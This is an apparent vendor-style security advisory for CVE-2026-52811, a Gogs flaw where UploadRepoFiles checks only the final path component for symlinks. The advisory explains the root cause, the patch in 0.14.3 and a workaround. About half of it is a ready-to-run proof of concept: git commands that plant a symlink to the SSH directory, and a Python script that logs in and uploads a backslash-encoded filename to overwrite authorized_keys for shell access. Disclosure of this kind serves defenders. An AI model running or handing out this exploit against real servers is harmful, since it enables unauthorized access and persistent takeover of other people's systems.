criticalCVE-2026-52811Jun 26, 2026

CVE-2026-52811: Gogs UploadRepoFiles Arbitrary File Write via Parent Symlink

Shubham Kandhare
Security Engagement Manager, SecureLayer7

An authenticated Gogs user with repository write access can overwrite any file the server process can reach, including SSH authorized_keys and git hooks, by uploading a file whose name contains a…

Packagegogs.io/gogs
Ecosystemgo
Affected< 0.14.3
Fixed in0.14.3
CVE-2026-52811: Gogs UploadRepoFiles Arbitrary File Write via Parent Symlink

The problem

The UploadRepoFiles method in internal/database/repo_editor.go checks for symlinks only on the final path component using osx.IsSymlink(targetPath). Every sibling function (UpdateRepoFile, DeleteRepoFile, GetDiffPreview) calls hasSymlinkInPath, which lstats every component of the path. UploadRepoFiles is the lone outlier.

An attacker first pushes a committed directory symlink (e.g. hijack -> /home/git/.ssh) to a repo they control. They then send a crafted multipart upload whose filename encodes a backslash. After mime.ParseMediaType quoted-pair decoding and pathx.Clean's strings.ReplaceAll(p, "\\", "/"), the stored upload.Name becomes hijack/authorized_keys. iox.CopyFile calls os.Create with no O_NOFOLLOW, so the kernel follows the parent symlink and writes attacker bytes to /home/git/.ssh/authorized_keys.

The impact is SSH key implantation (persistent shell as the gogs UID) or overwriting bare-repo hooks for RCE on the next push.

Proof of concept

A working proof-of-concept for CVE-2026-52811 in gogs.io/gogs, with the exact payload below.

python
# Step 1: plant the directory symlink in the repo
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs' && git push origin main
cd ..

# Step 2: send the crafted multipart upload (Python -- curl alone won't work)
# The wire filename must carry two literal backslash bytes so that
# mime.ParseMediaType quoted-pair decoding yields one backslash,
# which pathx.Clean then converts to a forward slash.
#
# Wire form:  filename="hijack\\authorized_keys"
# After mime:  hijack\authorized_keys
# After pathx: hijack/authorized_keys  <-- traverses parent symlink

import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie

GOGS_HOST  = 'gogs.example'
USERNAME   = 'attacker'
PASSWORD   = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME  = 'playground'
BRANCH     = 'main'
PUBKEY     = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'

cookies = {}
def conn(): return http.client.HTTPSConnection(GOGS_HOST, 443)
def update_cookies(r):
    for h in r.msg.get_all('Set-Cookie') or []:
        for n, m in SimpleCookie(h).items(): cookies[n] = m.value
def cookie_header(): return '; '.join(f'{k}={v}' for k,v in cookies.items())
def get_csrf(html): return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)

# 1. GET login page
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r); csrf = get_csrf(r.read().decode())

# 2. POST credentials
c = conn()
c.request('POST', '/user/login',
    body=urllib.parse.urlencode({'_csrf': csrf, 'user_name': USERNAME, 'password': PASSWORD}),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
r = c.getresponse(); r.read(); update_cookies(r)

# 3. Refresh CSRF
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf = get_csrf(html)

# 4. Multipart with double-backslash filename on the wire
boundary = '----poc-' + 'x' * 16
filename_wire = r'hijack\\authorized_keys'   # two backslash bytes on wire
body = (
    f'--{boundary}\r\n'
    f'Content-Disposition: form-data; name="file"; filename="{filename_wire}"\r\n'
    f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
    'Content-Type': f'multipart/form-data; boundary={boundary}',
    'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
r = c.getresponse(); upload_resp = r.read().decode()
uuid = json.loads(upload_resp)['uuid']

# 5. Commit the upload at repo root
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
    body=urllib.parse.urlencode({
        '_csrf': csrf, 'tree_path': '', 'commit_summary': 'docs',
        'commit_choice': 'direct', 'files': uuid}),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
print('commit status:', c.getresponse().status)
# Result: /home/git/.ssh/authorized_keys now contains PUBKEY
# ssh -i ~/.ssh/id_ed25519 git@gogs.example  ->  shell as gogs UID

The root cause is an asymmetric symlink check: UploadRepoFiles calls osx.IsSymlink on the leaf path only, while sibling functions call hasSymlinkInPath, which lstats every path component in a loop. Because Linux treats only / as a path separator, filepath.Base preserves a raw backslash in the multipart filename. pathx.Clean then converts that backslash to a forward slash via strings.ReplaceAll(p, "\\", "/"), producing a multi-segment name that silently traverses the committed symlink.

The secondary weakness is iox.CopyFile using os.Create without O_NOFOLLOW. Even if the lstat check ran correctly, there is a TOCTOU window between the check and the write. The patch (commit 04cb8afb, PR #8332) replaces the leaf osx.IsSymlink call with hasSymlinkInPath and adds a rejection in database.NewUpload for any name containing / or \ after cleaning, closing both vectors.

CWE-22 (Path Traversal) and CWE-61 (Symlink Following) both apply.

The fix

Upgrade to Gogs 0.14.3 (commit 04cb8afbb01d855454e59977a1cdbf522ea1db31, PR #8332). The patch replaces the leaf-only osx.IsSymlink check in UploadRepoFiles with the same hasSymlinkInPath walker used by sibling functions, and adds an early rejection in database.NewUpload for any upload name containing a / or \ after path cleaning.

Until you can upgrade, disable open registration and restrict repository write access to fully trusted users.

Reporter not attributed.

References: [1][2][3][4][5]

Related research